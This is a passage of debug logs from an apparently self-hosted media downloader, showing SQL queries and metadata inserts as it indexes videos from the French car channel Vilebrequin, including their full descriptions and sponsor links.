s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:08.386 [debug] QUERY OK source="media_items" db=5.1ms queue=0.5ms idle=80.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 16:15:00Z], 1] 07:43:08.438 [debug] QUERY OK source="media_items" db=50.9ms queue=0.1ms idle=86.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "5f8c4023-9545-4989-883c-c753ab9c6035", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", 13, "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, false, false, 1, [], 98, ~U[2023-09-14 16:15:00Z], ~U[2026-04-20 05:43:08Z], ~U[2026-04-20 05:43:08Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, 1, ~U[2023-09-14 16:15:00Z]] 07:43:08.440 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=138.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:08.441 [debug] QUERY OK source="media_profiles" db=0.5ms idle=63.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:08.443 [debug] QUERY OK source="media_items" db=1.2ms idle=62.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 07:43:08.443 [debug] Current batch of media processed. Will check again in 1000ms 07:43:09.445 [debug] Current batch of media processed. Will check again in 1000ms 07:43:10.446 [debug] Current batch of media processed. Will check again in 1000ms 07:43:11.448 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "duration" => 2986, "filename" => "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", "id" => "hBV07QvRuoA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hBV07QvRuoA", "playlist_index" => 14, "timestamp" => 1694103303, "title" => "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "upload_date" => "20230907"} 07:43:11.450 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1147.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:11.453 [debug] QUERY OK source="sources" db=1.8ms queue=0.7ms idle=1149.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:11.458 [debug] QUERY OK source="media_items" db=4.6ms queue=0.4ms idle=1152.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 16:15:03Z], 1] 07:43:11.488 [debug] QUERY OK source="media_items" db=27.6ms queue=0.1ms idle=1158.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "4004768a-ad9b-4c26-8851-ad6e409a9c78", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", 14, "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, false, false, 1, [], 98, ~U[2023-09-07 16:15:03Z], ~U[2026-04-20 05:43:11Z], ~U[2026-04-20 05:43:11Z], "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, 1, ~U[2023-09-07 16:15:03Z]] 07:43:11.491 [debug] QUERY OK source="sources" db=1.8ms idle=438.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:11.492 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=42.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:11.494 [debug] QUERY OK source="media_items" db=0.9ms idle=39.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 07:43:11.494 [debug] Current batch of media processed. Will check again in 1000ms 07:43:12.496 [debug] Current batch of media processed. Will check again in 1000ms 07:43:12.798 [info] {"source":"oban","duration":5855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:13.497 [debug] Current batch of media processed. Will check again in 1000ms 07:43:14.499 [debug] Current batch of media processed. Will check again in 1000ms 07:43:15.501 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "duration" => 1962, "filename" => "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", "id" => "d3t6QXY-1vg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=d3t6QXY-1vg", "playlist_index" => 15, "timestamp" => 1690474501, "title" => "Essai Citroën C6 : Pas mal non ? C'est Français", "upload_date" => "20230727"} 07:43:15.504 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=424.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:15.507 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=204.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:15.537 [debug] QUERY OK source="media_items" db=29.0ms queue=0.1ms idle=206.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 16:15:01Z], 1] 07:43:15.544 [debug] QUERY OK source="media_items" db=5.3ms queue=0.1ms idle=236.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "51cacf28-bfc3-4d94-8384-ca54453012a7", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", 15, "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, false, false, 1, [], 98, ~U[2023-07-27 16:15:01Z], ~U[2026-04-20 05:43:15Z], ~U[2026-04-20 05:43:15Z], "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, 1, ~U[2023-07-27 16:15:01Z]] 